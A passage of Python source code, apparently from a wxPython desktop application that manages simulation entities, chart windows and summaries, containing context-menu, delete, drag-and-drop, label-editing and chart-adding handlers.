CustomMenu(self)\r\n\r\n        if data is None:\r\n            return\r\n\r\n        page = tree.GetParent()\r\n\r\n        if data.IsPointer():\r\n            # add open option\r\n            entity = self._entity_mgr.GetEntity(*data.GetPointer())\r\n\r\n            context_menu.AppendOpenItem(lambda e: self.OnOpenEntityFrame(e, entity.GetType(), item=item))\r\n            context_menu.AppendSeparator()\r\n            # TODO: Add rename options, which initiates the EDIT_LABEL event\r\n\r\n        else:\r\n            entity = None\r\n\r\n        # options for adding new children (maximum of 2 options). For some reason binding of events does not work\r\n        # properly when looping over them, so hard-coding additions TODO: fix this\r\n        child_types, texts, icons = GetPrimaryChildrenInput(data.GetType())\r\n\r\n        if child_types:\r\n            context_menu.AppendGenericItem('Add ' + texts[0],\r\n                                           lambda e: self.OnOpenEntityFrame(e, child_types[0], item_parent=item),\r\n                                           bitmap=icons[0])\r\n\r\n            if len(child_types) == 2:\r\n                context_menu.AppendGenericItem('Add ' + texts[1],\r\n                                               lambda e: self.OnOpenEntityFrame(e, child_types[1], item_parent=item),\r\n                                               bitmap=icons[1])\r\n\r\n        # option for adding a folder\r\n        if data.GetChildType() is not None:\r\n            context_menu.AppendGenericItem('Add folder', lambda e: self.OnAddFolder(e, item=item, page=page),\r\n                                           bitmap=ico.folder_closed_16x16.GetBitmap())\r\n\r\n        if data.IsPointer():\r\n\r\n            # duplicate options\r\n            if not entity.IsControlled():\r\n\r\n                context_menu.AppendGenericItem('Create duplicates', lambda e: self.OnDuplicateEntity(e, item, page))\r\n\r\n            else:\r\n\r\n                context_menu.AppendGenericItem('Sever control', lambda e: self.OnSeverEntityControl(e, item))\r\n\r\n            # cut, copy and paste options\r\n            context_menu.AppendSeparator()\r\n            context_menu.AppendCutItem(lambda evt: self.OnCopyEntities(evt, tree, [item], cut=True))\r\n            context_menu.AppendCopyItem(lambda evt: self.OnCopyEntities(evt, tree, [item]))\r\n            paste = context_menu.AppendPasteItem(lambda evt: self.OnPasteEntities(evt, tree, item))\r\n\r\n            if self._copy_items is None:\r\n                paste.Enable(False)\r\n\r\n            # export options\r\n            if entity.IsSimulationHolder():\r\n\r\n                context_menu.AppendSeparator()\r\n                context_menu.AppendExportExcel(lambda evt: self.OnExportMultiple(evt, [entity]))\r\n\r\n        # collapse and expand options\r\n        context_menu.AppendSeparator()\r\n        context_menu.AppendCollapseItem(page.OnCollapseAll)\r\n        context_menu.AppendExpandItem(page.OnExpandAll)\r\n\r\n        # delete option\r\n        if data.IsPointer() or data.IsFolder():\r\n\r\n            context_menu.AppendSeparator()\r\n            context_menu.AppendDeleteItem(lambda e: self.OnDeleteEntity(e, item, page))\r\n\r\n        context_menu.CustomPopup()\r\n\r\n    def EntityRightClickMultiple(self, tree, items):\r\n        entities = []\r\n        can_sever = True    # all entities have to be controlled by another entity\r\n        can_export = True   # all entities have to be SimulationHolders\r\n        can_delete = True   # all entities have to have the same type\r\n\r\n        rep_type = None\r\n\r\n        # conduct various checks\r\n        for i, item in enumerate(items):\r\n\r\n            if item.IsSeparator():\r\n                return\r\n\r\n            data = item.GetData()\r\n            if not data.IsPointer():\r\n                return\r\n\r\n            if i == 0:\r\n                rep_type = data.GetType()\r\n\r\n            if not data.IsType(rep_type):\r\n                can_delete = False\r\n\r\n            entity = self._entity_mgr.GetEntity(*data.GetPointer())\r\n\r\n            if not entity.IsControlled():\r\n                can_sever = False\r\n\r\n            if entity.IsSimulationHolder():\r\n                entities.append(entity)\r\n            else:\r\n                can_export = False\r\n\r\n        context_menu = CustomMenu(self)\r\n\r\n        context_menu.AppendCutItem(lambda evt: self.OnCopyEntities(evt, tree, items, cut=True))\r\n        context_menu.AppendCopyItem(lambda evt: self.OnCopyEntities(evt, tree, items))\r\n        paste = context_menu.AppendPasteItem(lambda evt: self.OnPasteEntities(evt, tree, items[-1]))\r\n\r\n        if self._copy_items is None:\r\n            paste.Enable(False)\r\n\r\n        context_menu.AppendSeparator()\r\n\r\n        if can_sever:\r\n            context_menu.AppendGenericItem('Sever control', lambda e: self.OnSeverEntityControls(e, items))\r\n            context_menu.AppendSeparator()\r\n\r\n        if can_export:\r\n            context_menu.AppendExportExcel(lambda evt: self.OnExportMultiple(evt, entities))\r\n            context_menu.AppendSeparator()\r\n\r\n        page = tree.GetParent()\r\n        context_menu.AppendCollapseItem(page.OnCollapseAll)\r\n        context_menu.AppendExpandItem(page.OnExpandAll)\r\n\r\n        if can_delete:\r\n            context_menu.AppendSeparator()\r\n            context_menu.AppendDeleteItem(lambda e: self.OnDeleteEntities(e, items, page))\r\n\r\n        context_menu.CustomPopup()\r\n\r\n    def OnDeleteEntity(self, event, item, *args):\r\n        DeleteSingleTreeItem(self, item, self.DeleteEntity, *args)\r\n\r\n    def OnDeleteEntities(self, event, items, *args):\r\n        DeleteMultipleTreeItems(self, items, self.DeleteEntity, *args)\r\n\r\n    def DeleteEntity(self, event, item, page):\r\n        self.DeletePrimaryChildEntities(item, page)\r\n\r\n        data = item.GetData()\r\n        if data.IsEntity():  # alternative is a folder\r\n            entity = self._entity_mgr.GetEntity(*data.GetPointer())\r\n            self._entity_mgr.DeleteEntity(entity)\r\n\r\n            # send PyPubSub signal to open frames to check if the deleted item was open, then close the frame\r\n            if data.IsLocked():\r\n                pub.sendMessage('entity_deleted', id_=data.GetId())\r\n\r\n        # update derived properties of the deleted items parent (now that it has lost child entities)\r\n        parent_data = page.GetNonFolderParent(item).GetData()\r\n        if parent_data.IsPointer():\r\n            parent = self._entity_mgr.GetEntity(*parent_data.GetPointer())\r\n            self._entity_mgr.UpdateDerivedProperties(parent)\r\n\r\n        if data.IsEntity():\r\n            checked = item.IsChecked()\r\n\r\n            page.DeleteEntity(item)\r\n            self.UpdateDependencies()\r\n\r\n            if checked:\r\n                self.SaveChartState()\r\n                self.RedisplayChart()\r\n\r\n        else:  # folder\r\n            page.tree.Delete(item)\r\n\r\n    def DeletePrimaryChildEntities(self, item, page):\r\n        # recursively delete all children which has the item as a primary entity (child on the treectrl)\r\n        # of the deleted item from the entity manager\r\n        tree = page.tree\r\n        child, cookie = tree.GetFirstChild(item)\r\n\r\n        while child:\r\n            data = child.GetData()\r\n\r\n            if data.IsEntity():  # alternative is a folder\r\n                entity = self._entity_mgr.GetEntity(*data.GetPointer())\r\n                self._entity_mgr.DeleteEntity(entity)\r\n\r\n                # send PyPubSub signal to open frames to check if the deleted item was open, then close the frame\r\n                pub.sendMessage('entity_deleted', id_=data.GetId())\r\n\r\n            self.DeletePrimaryChildEntities(child, page)\r\n            child, cookie = self.object_menu.entities.tree.GetNextChild(item, cookie)\r\n\r\n    def OnDuplicateEntity(self, event, item, page):\r\n        DuplicateFrame(self, self._entity_mgr, page, item).Show()\r\n\r\n    def OnSeverEntityControl(self, event, item):\r\n        entity = self._entity_mgr.GetEntity(*item.GetData().GetPointer())\r\n        self._entity_mgr.SeverControl(entity)\r\n\r\n    def OnSeverEntityControls(self, event, items):\r\n        for item in items:\r\n            self.OnSeverEntityControl(None, item)\r\n\r\n    def OnSetVariableAsAxis(self, event, item, axis_id):\r\n        ids = self.display.GetActiveIds()\r\n        self.object_menu.variables.SetItemAsAxis(item, *ids, axis_id)\r\n\r\n        chart = self._chart_mgr.GetChart(*self.display.GetActiveIds())\r\n        self.DisplayChart(chart)\r\n\r\n    def OnVariableRightClick(self, event):\r\n        if not self._enabled:\r\n            return\r\n\r\n        tree = event.GetEventObject()\r\n        page = tree.GetParent()\r\n        items = tree.GetSelections()\r\n\r\n        if len(items) > 1:\r\n\r\n            self.VariableRightClickMultiple(page, items)\r\n\r\n        elif len(items):\r\n\r\n            self.VariableRightClickSingle(page, items[0])\r\n\r\n        else:\r\n            return\r\n\r\n    def VariableRightClickSingle(self, page, item):\r\n        if not self._enabled:\r\n            return\r\n\r\n        data = item.GetData()\r\n\r\n        if data is None:\r\n            return\r\n\r\n        context_menu = CustomMenu(self)\r\n\r\n        if data.IsPointer():\r\n\r\n            # open variable or summary\r\n            type_id = data.GetTypeId()\r\n            open_ = None\r\n\r\n            if type_id in (ID_POTENTIAL, ID_RATE, ID_CUMULATIVE, ID_RATIO, ID_SUMMARY):\r\n                context_menu.AppendOpenItem(lambda e: self.OnOpenVariableFrame(e, type_id=type_id, item=item))\r\n\r\n            if type_id == ID_SUMMARY:\r\n                context_menu.AppendSeparator()\r\n                context_menu.AppendDeleteItem(lambda e: self.OnDeleteSummary(e, item))\r\n\r\n            # allow assigning as variables as x, y, z, etc. if chart allows it\r\n            ids = self.display.GetActiveIds()\r\n\r\n            if ids is not None:\r\n                chart = self._chart_mgr.GetChart(*ids)\r\n\r\n                item_types = chart.GetAllowedAssign()\r\n\r\n                if data.GetType() in item_types[1]:\r\n\r\n                    if open_ is not None:\r\n                        context_menu.AppendSeparator()\r\n\r\n                    if chart.IncludesSort():\r\n                        context_menu.AppendGenericItem('Set sort by',\r\n                                                       lambda e: self.OnSetVariableAsAxis(e, item, ID_SORT))\r\n\r\n                    if chart.IncludesX():\r\n                        context_menu.AppendGenericItem('Set x-axis',\r\n                                                       lambda e: self.OnSetVariableAsAxis(e, item, ID_X_AXIS),\r\n                                                       bitmap=ico.x_16x16.GetBitmap())\r\n\r\n                    if chart.IncludesY():\r\n                        context_menu.AppendGenericItem('Set y-axis',\r\n                                                       lambda e: self.OnSetVariableAsAxis(e, item, ID_Y_AXIS),\r\n                                                       bitmap=ico.y_16x16.GetBitmap())\r\n\r\n                    if chart.IncludesZ():\r\n                        context_menu.AppendGenericItem('Set z-axis',\r\n                                                       lambda e: self.OnSetVariableAsAxis(e, item, ID_Z_AXIS),\r\n                                                       bitmap=ico.z_16x16.GetBitmap())\r\n\r\n        else:\r\n\r\n            # allow adding of a summary\r\n            type_ = data.GetType()\r\n            if type_ == 'summaries_':\r\n                context_menu.AppendGenericItem('Add summary',\r\n                                               lambda e: self.OnOpenVariableFrame(e, type_id=ID_SUMMARY),\r\n                                               bitmap=ico.summary_16x16.GetBitmap())\r\n\r\n        context_menu.AppendSeparator()\r\n        context_menu.AppendCollapseItem(page.OnCollapseAll)\r\n        context_menu.AppendExpandItem(page.OnExpandAll)\r\n\r\n        context_menu.CustomPopup()\r\n\r\n    def VariableRightClickMultiple(self, page, items):\r\n        can_delete = True  # all items have to be summaries\r\n\r\n        # conduct various checks\r\n        for i, item in enumerate(items):\r\n\r\n            if item.IsSeparator():\r\n                return\r\n\r\n            data = item.GetData()\r\n\r\n            if not data.GetTypeId() == ID_SUMMARY:\r\n                can_delete = False\r\n\r\n        context_menu = CustomMenu(self)\r\n\r\n        context_menu.AppendCollapseItem(page.OnCollapseAll)\r\n        context_menu.AppendExpandItem(page.OnExpandAll)\r\n\r\n        if can_delete:\r\n            context_menu.AppendSeparator()\r\n            context_menu.AppendDeleteItem(lambda e: self.OnDeleteSummaries(e, items))\r\n\r\n        context_menu.CustomPopup()\r\n\r\n    def OnDeleteSummary(self, event, item):\r\n        DeleteSingleTreeItem(self, item, self.DeleteSummary)\r\n\r\n    def OnDeleteSummaries(self, event, items):\r\n        DeleteMultipleTreeItems(self, items, self.DeleteSummary)\r\n\r\n    def DeleteSummary(self, event, item):\r\n        data = item.GetData()\r\n        id_ = data.GetId()\r\n        self._entity_mgr.DeleteSummary(id_)\r\n        self._settings.DeleteSummary(id_)\r\n        self._variable_mgr.DeleteSummary(id_)\r\n\r\n        checked = item.IsChecked()\r\n        self.object_menu.variables.tree.Delete(item)\r\n\r\n        if checked:\r\n            self.SaveChartState()\r\n            self.RedisplayChart()\r\n\r\n    def OnImportProfile(self, event, entity):\r\n        ProfileImportFrame(self, entity.GetProfile()).ShowModal()\r\n\r\n    def OnWindowRightClick(self, event):\r\n        if not self._enabled:\r\n            return\r\n\r\n        tree = event.GetEventObject()\r\n        page = tree.GetParent()\r\n        items = tree.GetSelections()\r\n\r\n        if len(items) > 1:\r\n\r\n            self.WindowRightClickMultiple(page, items)\r\n\r\n        elif len(items):\r\n\r\n            self.WindowRightClickSingle(page, items[0])\r\n\r\n        else:\r\n            return\r\n\r\n    def WindowRightClickSingle(self, page, item):\r\n\r\n        data = item.GetData()\r\n\r\n        if data is None:\r\n            return\r\n\r\n        context_menu = CustomMenu(self)\r\n\r\n        if data.IsPointer():\r\n            if data.IsWindow():\r\n                context_menu.AppendDeleteItem(lambda e: self.OnDeleteWindow(e, item))\r\n            else:  # chart\r\n                context_menu.AppendDeleteItem(lambda e: self.OnDeleteChart(e, item))\r\n\r\n            context_menu.AppendSeparator()\r\n\r\n        context_menu.AppendCollapseItem(page.OnCollapseAll)\r\n        context_menu.AppendExpandItem(page.OnExpandAll)\r\n\r\n        context_menu.CustomPopup()\r\n\r\n    def WindowRightClickMultiple(self, page, items):\r\n        can_delete = True  # either all windows or all charts\r\n\r\n        is_window = None\r\n\r\n        # conduct various checks\r\n        for i, item in enumerate(items):\r\n\r\n            if item.IsSeparator():\r\n                return\r\n\r\n            data = item.GetData()\r\n            if not data.IsPointer():\r\n                return\r\n\r\n            if i == 0:\r\n                is_window = data.IsWindow()\r\n\r\n            if is_window != data.IsWindow():\r\n                can_delete = False\r\n\r\n        context_menu = CustomMenu(self)\r\n\r\n        context_menu.AppendCollapseItem(page.OnCollapseAll)\r\n        context_menu.AppendExpandItem(page.OnExpandAll)\r\n\r\n        if can_delete:\r\n            context_menu.AppendSeparator()\r\n\r\n            if is_window:\r\n                context_menu.AppendDeleteItem(lambda e: self.OnDeleteWindows(e, items))\r\n            else:  # chart\r\n                context_menu.AppendDeleteItem(lambda e: self.OnDeleteCharts(e, items))\r\n\r\n        context_menu.CustomPopup()\r\n\r\n    def OnDeleteWindow(self, event, item):\r\n        DeleteSingleTreeItem(self, item, self.DeleteWindow)\r\n\r\n    def OnDeleteWindows(self, event, items):\r\n        DeleteMultipleTreeItems(self, items, self.DeleteWindow)\r\n\r\n    def DeleteWindow(self, event, item):\r\n        id_ = item.GetData().GetId()\r\n\r\n        # close page in display\r\n        index = self.display.GetWindowIndex(id_)\r\n\r\n        if index is not None:\r\n            self.PageClosing(index)\r\n            self.PageClosed()\r\n            self.display.ClosePage(index)\r\n\r\n        # delete in chart manager\r\n        window = self._chart_mgr.GetWindow(id_)\r\n        self._chart_mgr.DeleteWindow(window)\r\n\r\n        # delete in object_menu\r\n        self.object_menu.DeleteWindow(item, id_)\r\n\r\n    def OnDeleteChart(self, event, item):\r\n        DeleteSingleTreeItem(self, item, self.DeleteChart)\r\n\r\n    def OnDeleteCharts(self, event, items):\r\n        DeleteMultipleTreeItems(self, items, self.DeleteChart)\r\n\r\n    def DeleteChart(self, event, item):\r\n        parent = item.GetParent()\r\n        window_id = parent.GetData().GetId()\r\n        chart_id = item.GetData().GetId()\r\n\r\n        checked = item.IsChecked()\r\n\r\n        # delete item in display (if not checked it has already been removed from the window)\r\n        if checked:\r\n            self.display.DeleteChart(window_id, chart_id)\r\n\r\n        # delete item in chart_manager\r\n        self._chart_mgr.DeleteChart(window_id, chart_id)\r\n\r\n        # delete window in object_menu\r\n        self.object_menu.DeleteChart(item, window_id, chart_id)\r\n\r\n        # if the window is checked and the deleted item was checked, the charts have to be re-drawn on the window\r\n        # change\r\n        if parent.IsChecked() and checked:\r\n            index = self.display.GetWindowIndex(window_id)\r\n            self.display.SetSelection(index)\r\n\r\n            self.OnRefreshWindow(None, True)\r\n\r\n    def OnEntityDoubleClick(self, event):\r\n        item = event.GetItem()\r\n        data = item.GetData()\r\n\r\n        if data is None or not data.IsPointer():\r\n            return\r\n\r\n        type_ = data.GetType()\r\n        self.OnOpenEntityFrame(None, type_=type_, item=item)\r\n\r\n    def OnVariableDoubleClick(self, event):\r\n        # Do not allow multiple frames of the same entity\r\n        item = event.GetItem()\r\n        data = item.GetData()\r\n\r\n        if data is None:\r\n            return\r\n\r\n        type_id = data.GetTypeId()\r\n\r\n        self.OnOpenVariableFrame(None, type_id=type_id, item=item)\r\n\r\n    def UpdateDependencies(self):\r\n        self.ribbon.EnableButtons(True, self._entity_mgr)\r\n\r\n    def RedisplayChart(self):\r\n        ids = self.display.GetActiveIds()\r\n        if ids is not None:\r\n            chart = self._chart_mgr.GetChart(*ids)\r\n\r\n            # ChangeState to get correct checkbox state of added item for shown chart\r\n            self.object_menu.LoadState(*ids, chart)\r\n\r\n            # re-draw chart with updated data\r\n            self.DisplayChart(chart)\r\n\r\n    # drag & drop events -----------------------------------------------------------------------------------------------\r\n    def OnBeginDrag(self, event):\r\n        tree = event.GetEventObject()\r\n        selections = tree.GetSelections()\r\n\r\n        if not self.BeginDragAndCopy(tree, selections):\r\n            event.Veto()\r\n            return\r\n\r\n        self._drag_items = selections\r\n\r\n        event.Allow()\r\n\r\n    def BeginDragAndCopy(self, tree, selections):\r\n        # check if any of the selections is a first child of the root or a separator\r\n        root = tree.GetRootItem()\r\n        for item in selections:\r\n            if item.GetParent() == root or item.IsSeparator():\r\n                return False\r\n\r\n        return True\r\n\r\n    def EndDragAndCopy(self, items, target):\r\n        if items is None or not len(items):\r\n            return None, None\r\n\r\n        if target is None:\r\n            return None, None\r\n\r\n        target_data = target.GetData()\r\n        if target_data is None:\r\n            return None, None\r\n\r\n        # loop to check all items are same entity family type and has the same parent, else return\r\n        drag_type = items[0].GetData().GetFamilyType()\r\n        drag_parent = items[0].GetParent()\r\n\r\n        for item in items:\r\n            if not item.GetData().IsFamilyType(drag_type) or not item.GetParent() == drag_parent:\r\n                return None, None\r\n\r\n        return self.GetDragTarget(target, items[0])\r\n\r\n    def GetDragTarget(self, target, item):\r\n        data_t = target.GetData()\r\n        data_i = item.GetData()\r\n\r\n        index = None\r\n        drop_target = None\r\n\r\n        # handle dragging to folders and entities separately\r\n        if data_t.IsFolder():  # folder\r\n\r\n            if target is item:\r\n                # TODO: Should potentially be allowed for copying folders, just not dragging\r\n                pass\r\n\r\n            elif data_i.IsFolder() and (target is item.GetParent()):\r\n                # moving a folder to a folder it is already inside\r\n                index, drop_target = MoveFolderOntoFolder(self, target, item)\r\n\r\n            elif data_i.IsFolder() and (target.GetParent() is item.GetParent()):\r\n                # move a folder into a folder which has the same parent\r\n                index, drop_target = MoveFolderOntoFolder(self, target, item)\r\n\r\n            elif data_i.IsFolder() and data_i.IsFamilyType(data_t.GetFamilyType()):\r\n                # moving a folder into/onto a folder which is of similar type\r\n                index, drop_target = MoveFolderOntoFolder(self, target, item)\r\n\r\n            elif target is item.GetParent():\r\n                # moving an item to a folder it is already inside\r\n                index = target.GetChildrenCount() - 1\r\n                drop_target = target\r\n\r\n            elif data_t.IsFamilyType(data_i.GetFamilyType()):\r\n                # moving an item into a folder\r\n                index = target.GetChildrenCount() - 1\r\n                drop_target = target\r\n\r\n        else:  # entity or window\r\n\r\n            if data_i.IsFolder() and data_i.ParentIsType(data_t.GetType()):\r\n                # moving a folder to a hierarchical parent\r\n                index = target.GetChildrenCount() - 1\r\n                drop_target = target\r\n\r\n            if data_i.IsFolder() and data_t.IsFamilyType(data_i.GetFamilyType()):\r\n                # moving a folder to an entity of similar type\r\n                index = RelativeDragIndex(target, item)\r\n                drop_target = target.GetParent()\r\n\r\n            elif target is item.GetParent():\r\n                # same parent\r\n                index = target.GetChildrenCount() - 1\r\n                drop_target = target\r\n\r\n            elif data_i.ParentIsType(data_t.GetType()) and data_i.AllowParentTransfer():\r\n                # different parent of similar type\r\n                index = target.GetChildrenCount() - 1\r\n                drop_target = target\r\n\r\n            elif data_i.IsFamilyType(data_t.GetFamilyType()):\r\n                # Same item type\r\n                index = RelativeDragIndex(target, item)\r\n                drop_target = target.GetParent()\r\n\r\n        return index, drop_target\r\n\r\n    def OnEndDrag(self, event):\r\n        target = event.GetItem()\r\n        index, drop_target = self.EndDragAndCopy(self._drag_items, target)\r\n\r\n        if index is None or drop_target is None:\r\n            return\r\n\r\n        # get tree and object_menu page\r\n        tree = event.GetEventObject()\r\n        page = tree.GetParent()\r\n\r\n        # move nodes and update managers and charts\r\n        represent = self._drag_items[0].GetData()\r\n        non_folder_parent = page.GetNonFolderParent(self._drag_items[0])\r\n        data = non_folder_parent.GetData()\r\n\r\n        if represent.IsEntity() or represent.IsFolder():\r\n            self.MoveEntityNodes(drop_target, self._drag_items, index, tree)\r\n\r\n            # update derived properties of the drag_parent (now that it has lost child entities)\r\n            if data.IsPointer():\r\n                entity = self._entity_mgr.GetEntity(*data.GetPointer())\r\n                self._entity_mgr.UpdateDerivedProperties(entity)\r\n\r\n        elif represent.IsWindow():\r\n\r\n            self.MoveNodes(drop_target, self._drag_items, index, tree)\r\n\r\n            # change window and refresh\r\n            index = self.display.GetWindowIndex(data.GetId())\r\n            self.display.SetSelection(index)\r\n            self.OnRefreshWindow(None, replace_charts=True)\r\n\r\n        target.Expand()\r\n\r\n    def MoveNodes(self, target, sources, index, tree):\r\n        tree.Freeze()\r\n\r\n        counter = 0\r\n        for idx in range(index + 1, index + 1 + len(sources)):\r\n            source = sources[counter]\r\n\r\n            item = tree.InsertItem(target, idx, source.GetText(), ct_type=1, image=source.GetImage(), data=source.GetData())\r\n            item.SetType(source.GetType())\r\n            tree.CheckItem2(item, source.IsChecked(), torefresh=False)\r\n\r\n            self.AppendChildren(item, source, tree)\r\n            counter += 1\r\n\r\n        for source in sources:\r\n            tree.Delete(source)\r\n\r\n        tree.Thaw()\r\n\r\n    def MoveEntityNodes(self, target, sources, index, tree, copy=False):\r\n        tree.Freeze()\r\n\r\n        page = tree.GetParent()\r\n\r\n        # preparing entity for replacing parent entities in entity_mgr\r\n        target_data = target.GetData()\r\n\r\n        # if target is a folder, replace entity with the first entity parent\r\n        if target_data.IsFolder():\r\n            target_data = page.GetNonFolderParent(target).GetData()\r\n\r\n        # get new entity parent if the target is an entity (alternative are top level items)\r\n        new_parent = None\r\n        if target_data.IsPointer():\r\n            new_parent = self._entity_mgr.GetEntity(*target_data.GetPointer())\r\n\r\n        counter = 0\r\n        for idx in range(index + 1, index + 1 + len(sources)):\r\n            source = sources[counter]\r\n            data = source.GetData()\r\n\r\n            if data.IsPointer():  # entity\r\n                entity = self._entity_mgr.GetEntity(*data.GetPointer())\r\n                if copy:\r\n                    entity = self._entity_mgr.CreateDuplicate(entity, control=False)\r\n                    entity.SetName('Copy of {}'.format(entity.GetName()))\r\n\r\n                item = page.CopyEntity(target, entity, data, idx=idx)\r\n                item.SetType(source.GetType())\r\n                tree.CheckItem2(item, source.IsChecked(), torefresh=False)\r\n\r\n            else:  # folder\r\n                text = source.GetText()\r\n                if copy:\r\n                    text = 'Copy of {}'.format(text)\r\n\r\n                item = tree.InsertItem(target, idx, text, ct_type=0, image=source.GetImage(), data=source.GetData())\r\n\r\n            self.AppendEntityChildren(item, source, tree, copy=copy)\r\n            counter += 1\r\n\r\n            # updating the entity_mgr by replacing the old parent entity for the new parent entity\r\n            if new_parent is not None:\r\n                if data.IsFolder():\r\n                    items = page.GetNonFolderChildren(item)\r\n                else:\r\n                    items = [item]\r\n\r\n                for it in items:\r\n                    self.UpdateEntityProperties(it, new_parent)\r\n\r\n        # updating entity_mgr with derived changes (because movement can only happen from the same parent, only need\r\n        # to call derived once)\r\n        if new_parent is not None:\r\n            self._entity_mgr.UpdateDerivedProperties(new_parent)\r\n\r\n        if not copy:\r\n            for source in sources:\r\n                tree.Delete(source)\r\n\r\n        tree.Thaw()\r\n\r\n    def UpdateEntityProperties(self, item, new_parent_entity):\r\n        data = item.GetData()\r\n        entity = self._entity_mgr.GetEntity(*data.GetPointer())\r\n        self._entity_mgr.ReplacePrimaryParent(entity, new_parent_entity)\r\n\r\n        # updating entity_mgr with hierarchical changes\r\n        self._entity_mgr.UpdateHierarchicalProperties(entity)\r\n\r\n    def AppendChildren(self, item, source, tree):\r\n        child, cookie = tree.GetFirstChild(source)\r\n\r\n        while child:\r\n            alias = tree.AppendItem(item, child.GetText(), ct_type=1, image=child.GetImage(), data=child.GetData())\r\n            alias.SetType(child.GetType())\r\n            tree.CheckItem2(alias, child.IsChecked(), torefresh=False)\r\n\r\n            self.AppendChildren(alias, child, tree)\r\n            child, cookie = tree.GetNextChild(source, cookie)\r\n\r\n        tree.Expand(item)\r\n\r\n    def AppendEntityChildren(self, item, source, tree, copy=False):\r\n        page = tree.GetParent()\r\n        child, cookie = tree.GetFirstChild(source)\r\n\r\n        while child:\r\n\r\n            data = child.GetData()\r\n\r\n            if data.IsPointer():  # entity\r\n\r\n                entity = self._entity_mgr.GetEntity(*data.GetPointer())\r\n                if copy:\r\n                    entity = self._entity_mgr.CreateDuplicate(entity, control=False)\r\n                    entity.SetName('Copy of {}'.format(entity.GetName()))\r\n\r\n                alias = page.CopyEntity(item, entity, data)\r\n\r\n            else:  # folder\r\n                text = child.GetText()\r\n                if copy:\r\n                    text = 'Copy of {}'.format(text)\r\n\r\n                alias = tree.AppendItem(item, text, ct_type=0, image=child.GetImage(), data=child.GetData())\r\n\r\n            #alias = tree.AppendItem(item, child.GetText(), ct_type=1, image=child.GetImage(), data=child.GetData())\r\n            #alias.SetType(child.GetType())\r\n            #tree.CheckItem2(alias, child.IsChecked(), torefresh=False)\r\n\r\n            self.AppendEntityChildren(alias, child, tree, copy=copy)\r\n            child, cookie = tree.GetNextChild(source, cookie)\r\n\r\n        tree.Expand(item)\r\n\r\n    # edit label events ------------------------------------------------------------------------------------------------\r\n    def OnBeginEditLabel(self, event):\r\n\r\n        textctrl = event.GetEventObject().GetEditControl()\r\n        textctrl.SelectAll()\r\n\r\n        event.Allow()\r\n\r\n    def OnEndEditLabel(self, event):\r\n        if not event.GetLabel():\r\n            event.Veto()\r\n            return\r\n\r\n        item = event.GetItem()\r\n        data = item.GetData()\r\n\r\n        if data.IsEntity():\r\n            entity = self._entity_mgr.GetEntity(*data.GetPointer())\r\n            entity.SetName(event.GetLabel())\r\n\r\n            if item.IsChecked():\r\n                self.OnRefreshWindow(None)\r\n\r\n        elif data.IsWindow():\r\n            window = self._chart_mgr.GetWindow(data.GetPointer())\r\n            window.SetLabel(event.GetLabel())\r\n            self.display.SetPageText(window)\r\n\r\n        elif data.IsChart():\r\n            parent_data = item.GetParent().GetData()\r\n            window = self._chart_mgr.GetChart(parent_data.GetPointer(), data.GetPointer())\r\n            window.SetLabel(event.GetLabel())\r\n\r\n    # ==================================================================================================================\r\n    # Options Bar Functions\r\n    # ==================================================================================================================\r\n    def OnOptionsBarChanged(self, event):\r\n        # draw chart\r\n        ids = self.display.GetActiveIds()\r\n        chart = self._chart_mgr.GetChart(*ids)\r\n        self.DisplayChart(chart)\r\n\r\n    # ==================================================================================================================\r\n    # Ribbon Functions\r\n    # ==================================================================================================================\r\n    def OnAddFolder(self, event, item=None, page=None):\r\n        # if added from ribbon the correct page and selected item has to be found\r\n        if page is None:\r\n            page = self.object_menu.GetActiveTab()\r\n\r\n            if page is None:  # no active tab\r\n                return\r\n\r\n            item = page.tree.GetSelection()\r\n\r\n        # primary_parent = data.GetParentType()\r\n        # parents = page.GetItemsByType(primary_parent)\r\n        #\r\n        # print(primary_parent, parents)\r\n        #\r\n        # if parents:\r\n        #     item_parent = parents[0]\r\n        # else:\r\n        #     return\r\n\r\n        page.AddFolder(item)\r\n\r\n    # Window functions -------------------------------------------------------------------------------------------------\r\n    def OnWindowDropdown(self, event):\r\n        menu = CustomMenu(self)\r\n        window = CustomMenuItem(menu, wx.ID_ANY, 'Window', '')\r\n        window.SetBitmap(ico.window_16x16.GetBitmap())\r\n        menu.AppendItem(window)\r\n\r\n        split = CustomMenuItem(menu, wx.ID_ANY, 'Split window', '')\r\n        split.SetBitmap(ico.window_split_16x16.GetBitmap())\r\n        menu.AppendItem(split)\r\n\r\n        # events\r\n        self.Bind(wx.EVT_MENU, self.OnAddWindow, window)\r\n        self.Bind(wx.EVT_MENU, lambda e: self.OnAddWindow(e, True), split)\r\n\r\n        menu.CustomPopup()\r\n\r\n    def OnAddWindow(self, event, allow_split=False):\r\n        window = self._chart_mgr.AddWindow(allow_split=allow_split)\r\n        window.Init()\r\n        self.AddWindow(window)\r\n\r\n    def AddWindow(self, window):\r\n        self.object_menu.AddWindow(window)\r\n        self.display.AddWindow(window)\r\n\r\n    def OnRefreshWindow(self, event, replace_charts=False):\r\n        id_ = self.display.GetActiveWindowId()\r\n        if id_ is None:\r\n            return\r\n\r\n        self.SaveChartState()\r\n\r\n        window = self._chart_mgr.GetWindow(id_)\r\n        charts = self.GetDrawableCharts(window)\r\n\r\n        # used for OnWindowItemCheck and OnDeleteChart\r\n        if replace_charts:\r\n            window_panel = self.display.GetActiveWindow()\r\n            window_panel.ReplaceCharts(charts)\r\n\r\n        self.DrawCharts(window.GetId(), charts)\r\n\r\n    def OnPresentMode(self, event):\r\n        self._present = not self._present\r\n\r\n        self.OnRefreshWindow(None)\r\n\r\n    # Add chart functions  ---------------------------------------------------------------------------------------------\r\n    def OnAddChart(self, event, chart):\r\n        if not self.display.GetPageCount():\r\n            self.OnAddWindow(None)\r\n\r\n        else:\r\n            if not self.display.GetActiveWindow().AllowSplit():\r\n                self.OnAddWindow(None)\r\n\r\n            else:\r\n                # if window allows split, no change event will fire, so the current state is saved here\r\n                self.SaveChartState()\r\n\r\n        # adding chart to chart_manager\r\n        id_ = self.display.GetActiveWindowId()\r\n        self._chart_mgr.AddChart(id_, chart)\r\n        window = self._chart_mgr.GetWindow(id_)\r\n\r\n        # adding chart to display\r\n        self.display.AddChart(window, chart)\r\n        self.display.EnableOptionsBar(True, chart)\r\n\r\n        # updating window item in object_menu\r\n        self.object_menu.AddChart(window, chart)\r\n\r\n        # draw newly added chart\r\n        self.DisplayChart(chart)\r\n\r\n    # Export functions -------------------------------------------------------------------------------------------------\r\n    def OnExportMultiple(self, event, entities=()):\r\n        ExportFrame(self, self._entity_mgr, self._variable_mgr, self.object_menu, entities=entities).Show()\r\n\r\n    # open entity frame functions 